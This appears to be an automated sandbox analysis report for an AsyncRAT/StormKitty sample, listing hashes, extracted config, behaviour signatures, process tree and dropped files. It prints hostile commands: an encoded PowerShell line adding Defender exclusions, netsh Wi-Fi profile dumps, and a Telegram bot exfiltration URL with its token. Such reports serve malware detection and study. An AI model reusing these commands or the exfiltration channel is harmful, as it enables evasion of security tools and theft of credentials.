Analysis

  • max time kernel
    152s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-08-2023 09:50

General

  • Target

    69a281695cfceb02aec31b7ecc8105a60d606b2fc168ab32964380cd5fa79827_JC.exe

  • Size

    24.0MB

  • MD5

    fe7a215f58c846f671142227e0a71061

  • SHA1

    f40c456ce9f674ee93d3ef691c1b3aec0c53156b

  • SHA256

    69a281695cfceb02aec31b7ecc8105a60d606b2fc168ab32964380cd5fa79827

  • SHA512

    ff7efbd82997f802339407e709f074277ea609ac1f30ba1d768c5daac4a4990b7a731361717874fe98d524e0a012333e8b45ea1f83a1cc793fd0a06d8296b1ae

  • SSDEEP

    393216:VT4ER8LcdmjoDuUKQhgL9bH3x0PmFhpbgab/bKh17KfxRu7i4Kw5jnS01oufNTda:VT4ER0pjoNvhcX6u1blb/bEmZRGi4Lb5

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot6085983475:AAG9ma6AdbwS2Vmvqb_xIeiP1vbivSAPlXU/sendMessage?chat_id=1829819531

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 5 IoCs
  • Async RAT payload 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69a281695cfceb02aec31b7ecc8105a60d606b2fc168ab32964380cd5fa79827_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\69a281695cfceb02aec31b7ecc8105a60d606b2fc168ab32964380cd5fa79827_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAYgBmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAdQBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAbgBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBhACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:980
    • C:\Users\Admin\AppData\Local\Temp\deneme.exe
      "C:\Users\Admin\AppData\Local\Temp\deneme.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2484
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3860
        • C:\Windows\SysWOW64\chcp.com
          chcp 65001
          4⤵
            PID:1860
          • C:\Windows\SysWOW64\netsh.exe
            netsh wlan show profile
            4⤵
              PID:2828
            • C:\Windows\SysWOW64\findstr.exe
              findstr All
              4⤵
                PID:1976
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3012
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                4⤵
                  PID:3316
                • C:\Windows\SysWOW64\netsh.exe
                  netsh wlan show networks mode=bssid
                  4⤵
                    PID:4056
              • C:\Users\Admin\AppData\Local\Temp\ngrok.exe
                "C:\Users\Admin\AppData\Local\Temp\ngrok.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:3160

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\2a4b6577027e066b4d69a71f8fdeb526\msgid.dat

              Filesize

              1B

              MD5

              cfcd208495d565ef66e7dff9f98764da

              SHA1

              b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

              SHA256

              5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

              SHA512

              31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

            • C:\Users\Admin\AppData\Local\6f627568f974c19c11aa9116512e52c0\Admin@MSXGLQPS_en-US\Browsers\Firefox\Bookmarks.txt

              Filesize

              105B

              MD5

              2e9d094dda5cdc3ce6519f75943a4ff4

              SHA1

              5d989b4ac8b699781681fe75ed9ef98191a5096c

              SHA256

              c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

              SHA512

              d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

            • C:\Users\Admin\AppData\Local\6f627568f974c19c11aa9116512e52c0\Admin@MSXGLQPS_en-US\System\Process.txt

              Filesize

              4KB

              MD5

              ab2421d1e0be0b16ce519f2af166c747

              SHA1

              e0f76610778e24b83eea090cd630b89fd8dc3e77

              SHA256

              b90027f576cb86cc1374a0ae20bc2c093ab96e3146407e9a01476f41c3fc2ab5

              SHA512

              bd38084f17badc6fb6056286dfac4a0307e9e5a75d038795ca0c7886322556e43f0e1df1b7cc45bc1ce88fcfe595b98f58a63efc7d2f6a529fcd43b282d299b7

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3xh3hny.um3.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\deneme.exe

              Filesize

              170KB

              MD5

              958062458cd994df325348bb9f8f9d11

              SHA1

              6d678d971f4239f9304a3a6ac9941b9d7de1ba27

              SHA256

              109f96c67f55689c41320f832134501ec02389a813eba1d990d192ab378ad533

              SHA512

              e73c665f0cd3cc53ea4ca0ef50d196fce4783488759bd9f6b8d9cb842382e88327509a317dd328ddf7b7fc988cde06a46cd82fe2783165f75d5f812e231affff

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • C:\Users\Admin\AppData\Local\Temp\ngrok.exe

              Filesize

              23.8MB

              MD5

              1c900bf7791f168639d27e19a90a9be7

              SHA1

              ff6b857b8aaf8d9ed72ae300575aeb4ff21925db

              SHA256

              b25a372ebb6692fbc2d3697467a7611dbbd521dd61ed995fa82c170c3ef50300

              SHA512

              c0a96693031c56b4375478e7c15f41ef512b7eec72496e26dcb5dc688b13431852e2c30f98ef25a2d06df421e8c688b17fa603887ef3ae6980c6ee3789fe2988

            • memory/980-148-0x0000028C88650000-0x0000028C88660000-memory.dmp

              Filesize

              64KB

            • memory/980-179-0x00007FFE8AFF0000-0x00007FFE8BAB1000-memory.dmp

              Filesize

              10.8MB

            • memory/980-155-0x0000028CA1550000-0x0000028CA1572000-memory.dmp

              Filesize

              136KB

            • memory/980-147-0x00007FFE8AFF0000-0x00007FFE8BAB1000-memory.dmp

              Filesize

              10.8MB

            • memory/980-149-0x0000028C88650000-0x0000028C88660000-memory.dmp

              Filesize

              64KB

            • memory/980-173-0x0000028C88650000-0x0000028C88660000-memory.dmp

              Filesize

              64KB

            • memory/2484-329-0x00000000064A0000-0x0000000006532000-memory.dmp

              Filesize

              584KB

            • memory/2484-169-0x0000000074FA0000-0x0000000075750000-memory.dmp

              Filesize

              7.7MB

            • memory/2484-176-0x0000000003030000-0x0000000003040000-memory.dmp

              Filesize

              64KB

            • memory/2484-340-0x0000000003030000-0x0000000003040000-memory.dmp

              Filesize

              64KB

            • memory/2484-180-0x0000000005670000-0x00000000056D6000-memory.dmp

              Filesize

              408KB

            • memory/2484-181-0x0000000074FA0000-0x0000000075750000-memory.dmp

              Filesize

              7.7MB

            • memory/2484-182-0x0000000003030000-0x0000000003040000-memory.dmp

              Filesize

              64KB

            • memory/2484-334-0x00000000066B0000-0x00000000066BA000-memory.dmp

              Filesize

              40KB

            • memory/2484-330-0x0000000006AF0000-0x0000000007094000-memory.dmp

              Filesize

              5.6MB

            • memory/2484-328-0x0000000003030000-0x0000000003040000-memory.dmp

              Filesize

              64KB

            • memory/2484-168-0x0000000000B40000-0x0000000000B70000-memory.dmp

              Filesize

              192KB

            • memory/4748-135-0x0000000003C20000-0x0000000003C30000-memory.dmp

              Filesize

              64KB

            • memory/4748-133-0x0000000000370000-0x0000000001B6C000-memory.dmp

              Filesize

              24.0MB

            • memory/4748-134-0x00007FFE8AFF0000-0x00007FFE8BAB1000-memory.dmp

              Filesize

              10.8MB

            • memory/4748-174-0x00007FFE8AFF0000-0x00007FFE8BAB1000-memory.dmp

              Filesize

              10.8MB